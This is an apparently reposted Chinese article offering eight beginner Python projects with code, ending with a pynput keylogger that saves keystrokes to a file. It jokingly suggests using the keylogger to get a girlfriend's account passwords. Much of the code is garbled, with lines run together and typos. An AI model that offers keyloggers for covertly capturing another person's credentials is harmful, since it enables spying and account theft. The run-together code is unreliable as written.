打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
适合 Python 练手的8个经典项目,有趣又实用!
userphoto

2022.12.31 广东

关注
22点24分准时推送,第一时间送达
后台回复“大礼包”,送你特别福利

编辑:乐乐 | 来自:网络

Pythn人工智能技术(ID:coder_experience) 976 期推文

上一篇:10 个实用的 Python 自动化脚本!

正文

大家好,我是Python人工智能技术

今天给大家分享的,是一些实战练习的小案例,如果你还是Python小白,可以再看看我前面几篇文章,如果是有了一点基础,那就尝试完成下面这些案例吧!

一、自动发送邮件

用Python编写一个可以发送电子邮件的脚本。

提示:email库可用于发送电子邮件。

import smtplib from email.message import EmailMessageemail = EmailMessage() ## Creating a object for EmailMessageemail['from'] = 'xyz name' ## Person who is sendingemail['to'] = 'xyz id' ## Whom we are sendingemail['subject'] = 'xyz subject' ## Subject of emailemail.set_content('Xyz content of email') ## content of emailwith smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp: ## sending request to server smtp.ehlo() ## server objectsmtp.starttls() ## used to send data between server and clientsmtp.login('email_id','Password') ## login id and password of gmail smtp.send_message(email) ## Sending emailprint('email send') ## Printing success message

二、Hangman(猜单词的游戏)

用Python创建一个简单的hangman猜单词游戏。

提示:创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示,让用户猜单词,如果用户猜对了,则将用单词替换掉“”。

import timeimport randomname = input('What is your name? ')print ('Hello, ' + name, 'Time to play hangman!')time.sleep(1)print ('Start guessing...\n')time.sleep(0.5)## A List Of Secret Wordswords = ['python','programming','treasure','creative','medium','horror']word = random.choice(words)guesses = ''turns = 5while turns > 0:             failed = 0for char in word:      if char in guesses:    print (char,end='')    else:print ('_',end=''),                 failed += 1if failed == 0:        print ('\nYou won') break    guess = input('\nguess a character:')     guesses += guess                    if guess not in word:          turns -= 1        print('\nWrong')            print('\nYou have', + turns, 'more guesses') if turns == 0:           print ('\nYou Lose')

三、闹钟

用Python编写一个创建闹钟的脚本。

提示:用date-time模块创建闹钟,然后用playsound库播放声音。

from datetime import datetime from playsound import playsoundalarm_time = input('Enter the time of alarm to be set:HH:MM:SS\n')alarm_hour=alarm_time[0:2]alarm_minute=alarm_time[3:5]alarm_seconds=alarm_time[6:8]alarm_period = alarm_time[9:11].upper()print('Setting up alarm..')while True: now = datetime.now() current_hour = now.strftime('%I') current_minute = now.strftime('%M') current_seconds = now.strftime('%S') current_period = now.strftime('%p')if(alarm_period==current_period):if(alarm_hour==current_hour):if(alarm_minute==current_minute):if(alarm_seconds==current_seconds): print('Wake Up!') playsound('audio.mp3') ## download the alarm sound from linkbreak

四、石头剪刀布游戏

创建一个石头剪刀布的游戏,游戏者与与计算机PK。如果游戏者赢了,得分就会添加,看谁最终的得分最高。

提示:先判断游戏者的选择,然后与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜,则增加1分。另外,搜索公众号Linux就该这样学后台回复“猴子”,获取一份惊喜礼包。

import randomchoices = ['Rock', 'Paper', 'Scissors']computer = random.choice(choices)player = Falsecpu_score = 0player_score = 0while True:    player = input('Rock, Paper or  Scissors?').capitalize()# 判断电脑与游戏者的选择if player == computer:        print('Tie!')elif player == 'Rock':if computer == 'Paper':            print('You lose!', computer, 'covers', player)            cpu_score+=1else:            print('You win!', player, 'smashes', computer)            player_score+=1elif player == 'Paper':if computer == 'Scissors':            print('You lose!', computer, 'cut', player)            cpu_score+=1else:            print('You win!', player, 'covers', computer)            player_score+=1elif player == 'Scissors':if computer == 'Rock':            print('You lose...', computer, 'smashes', player)            cpu_score+=1else:            print('You win!', player, 'cut', computer)            player_score+=1elif player=='E':        print('Final Scores:')        print(f'CPU:{cpu_score}')        print(f'Plaer:{player_score}')breakelse:        print('That's not a valid play. Check your spelling!')    computer = random.choice(choices)

五、提醒小工具

利用Python一个提醒小工具,在设定好的时间在桌面做提醒通知。

提示:跟踪提醒时间可以用Time模块,显示桌面通知可以用toastnotifier库。

安装:win10toast

from win10toast import ToastNotifierimport timetoaster = ToastNotifier()try: print('Title of reminder') header = input() print('Message of reminder') text = input() print('In how many minutes?') time_min = input() time_min=float(time_min)except: header = input('Title of reminder\n') text = input('Message of remindar\n') time_min=float(input('In how many minutes?\n'))time_min = time_min * 60print('Setting up reminder..')time.sleep(2)print('all set!')time.sleep(time_min)toaster.show_toast(f'{header}',f'{text}',duration=10,threaded=True)while toaster.notification_active(): time.sleep(0.005)

六、文章朗读器

用Python编写一个脚本,实现自动从提供的链接读取文章的功能。

import pyttsx3import requestsfrom bs4 import BeautifulSoupurl = str(input('Paste article url\n'))

def content(url): res = requests.get(url) soup = BeautifulSoup(res.text,'html.parser') articles = []for i in range(len(soup.select('.p'))): article = soup.select('.p')[i].getText().strip() articles.append(article) contents = ' '.join(articles)return contentsengine = pyttsx3.init('sapi5')voices = engine.getProperty('voices')engine.setProperty('voice', voices[0].id)

def speak(audio): engine.say(audio) engine.runAndWait()

contents = content(url)## print(contents) ## In case you want to see the content

#engine.save_to_file#engine.runAndWait() ## In case if you want to save the article as a audio file

七、短网址生成器

用Python编写一个脚本,实现用API缩短指定URL的功能。

from __future__ import with_statementimport contextlibtry:from urllib.parse import urlencodeexcept ImportError:from urllib import urlencodetry:from urllib.request import urlopenexcept ImportError:from urllib2 import urlopenimport sys

def make_tiny(url): request_url = ('http://tinyurl.com/api-create.php?' + urlencode({'url':url}))with contextlib.closing(urlopen(request_url)) as response:return response.read().decode('utf-8')

def main():for tinyurl in map(make_tiny, sys.argv[1:]): print(tinyurl)

if __name__ == '__main__': main()

八、键盘记录器

用Python编写一个脚本,实现将用户在键盘上按过的按键记录下来,并保存在一个文本文件中。

提示:控制键盘和鼠标的移动就不得不推荐pynput这个库了,它还可以用于制作键盘记录器,通过读取被按下的键,然后将它们保存在一个文本文件中。(咳咳,想知道女朋友的账号密码的可以好好学习下)

from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller()



keys=[]def on_press(key):global keys#keys.append(str(key).replace(''','')) string = str(key).replace(''','') keys.append(string) main_string = ''.join(keys) print(main_string)if len(main_string)>15:with open('keys.txt', 'a') as f: f.write(main_string) keys= [] def on_release(key):if key == Key.esc:return False

with listener(on_press=on_press,on_release=on_release) as listener: listener.join()

欢迎有需要的同学试试,如果本文对您有帮助,也请帮忙点个 赞 + 在看 啦!❤️

在 GitHub猿 还有更多优质项目系统学习资源,欢迎分享给其他同学吧!

你还有什么想要补充的吗?

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
22个Python迷你项目(附源码)
云景代码:邮件发送Python代码
python 2.x和3.x的区别
爬虫精进6
20+个很棒的 Python 脚本的集合(迷你项目)
这个Python读取文件的方法,堪称天花板级别...
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服